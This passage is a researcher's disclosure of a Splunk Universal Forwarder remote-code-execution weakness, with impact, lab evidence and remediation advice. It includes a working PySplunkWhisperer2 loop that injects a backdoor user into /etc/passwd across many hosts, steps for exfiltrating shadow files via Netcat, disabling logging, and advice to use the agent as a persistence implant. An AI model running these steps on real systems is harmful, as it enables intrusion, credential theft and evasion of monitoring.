Active Directory Sysvol/domain.com/Scripts directory. Administrators store the executible and the password together for efficient agent installation.
Network file shares hosting IT installation files
Wiki or other build note repositories on internal network
The password can also be accessed in hashed form in Program Files\Splunk\etc\passwd on Windows hosts, and in /opt/Splunk/etc/passwd on Linux and Unix hosts. An attacker can attempt to crack the password using Hashcat, or rent a cloud cracking environment to increase liklihood of cracking the hash. The password is a strong SHA-256 hash and as such a strong, random password is unlikely to be cracked.
Impact:
An attacker with a Splunk Universal Forward Agent password can fully compromise all Splunk hosts in the network and gain SYSTEM or root level permissions on each host. I have successfully used the Splunk agent on Windows, Linux, and Solaris Unix hosts. This vulnerability could allow system credentials to be dumped, sensitive data to be exfiltrated, or ransomware to be installed. This vulnerability is fast, easy to use, and reliable.
Since Splunk handles logs, an attacker could reconfigure the Universal Forwarder on the first command run to change the Forwarder location, disabling logging to the Splunk SIEM. This would drastically reduce the chances of being caught by the client Blue Team.
Splunk Universal Forwarder is often seen installed on Domain Controllers for log collection, which could easily allow an attacker to extract the NTDS file, disable antivirus for further exploitation, and/or modify the domain.
Finally, the Universal Forwarding Agent does not require a license, and can be configured with a password stand alone. As such an attacker can install Universal Forwarder as a backdoor persistence mechanism on hosts, since it is a legitimate application which customers, even those who do not use Splunk, are not likely to remove.
Evidence:
To show an exploitation example I set up a test environment using the latest Splunk version for both the Enterprise Server and the Universal Forwarding agent. A total of 10 images have been attached to this report, showing the following:
Requesting the /etc/passwd file through PySplunkWhisper2
Receiving the /etc/passwd file on the attacker system through Netcat
Requesting the /etc/shadow file through PySplunkWhisper2
Receiving the /etc/shadow file on the attacker system through Netcat
Adding the user attacker007 to the /etc/passwd file
Adding the user attacker007 to the /etc/shadow file
Receiving the new /etc/shadow file showing attacker007 is successfully added
Confirming SSH access to the victim using the attacker007 account
Adding a backdoor root account with username root007, with the uid/gid set to 0
Confirming SSH access using attacker007, and then escalating to root using root007
At this point I have persistent access to the host both through Splunk and through the two user accounts created, one of which provides root. I can disable remote logging to cover my tracks and continue attacking the system and network using this host.
Scripting PySplunkWhisperer2 is very easy and effective.
Create a file with IP’s of hosts you want to exploit, example name ip.txt
Run the following:
for i in `cat ip.txt`; do python PySplunkWhisperer2_remote.py --host $i --port 8089 --username admin --password "12345678" --payload "echo 'attacker007:x:1003:1003::/home/:/bin/bash' >> /etc/passwd" --lhost 192.168.42.51;done
Splunk Enterprise version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)
Universal Forwarder version: 8.0.5 (latest as of August 12, 2020 – day of lab setup)
Remediation Recommendation’s for Splunk, Inc:
I recommend implementing all of the following solutions to provide defense in depth:
Ideally, the Universal Forwarder agent would not have a port open at all, but rather would poll the Splunk server at regular intervals for instructions.
Enable TLS mutual authentication between the clients and server, using individual keys for each client. This would provide very high bi-directional security between all Splunk services. TLS mutual authentication is being heavily implemented in agents and IoT devices, this is the future of trusted device client to server communication.
Send all code, single line or script files, in a compressed file which is encrypted and signed by the Splunk server. This does not protect the agent data sent through the API, but protects against malicious Remote Code Execution from a 3rd party.
Remediation Recommendation’s for Splunk customers:
Ensure a very strong password is set for Splunk agents. I recommend at least a 15-character random password, but since these passwords are never typed this could be set to a very large password such as 50 characters.
Configure host based firewalls to only allow connections to port 8089/TCP (Universal Forwarder Agent’s port) from the Splunk server.
Recommendations for Red Team:
Download a copy of Splunk Universal Forwarder for each operating system, as it is a great light weight signed implant. Good to keep a copy incase Splunk actually fixes this.
** Note: ** This issue is a serious issue with Splunk systems and it has been exploited by other testers for years. While Remote Code Execution is an intended feature of Splunk Universal Forwarder, the implimentaion of this is dangerous. I attempted to submit this bug via Splunk’s bug bounty program in the very unlikely chance they are not aware of the design implications, but was notified that any bug submissions implement the Bug Crowd/Splunk disclosure policy which states no details of the vulnerability may be discussed publically ever without Splunk’s permission. I requested a 90 day disclosure timeline and was denied. As such, I did not responsibly disclose this since I am reasonably sure Splunk is aware of the issue and has chosen to ignore it, I feel this could severely impact companies, and it is the responsibility of the infosec community to educate businesses.
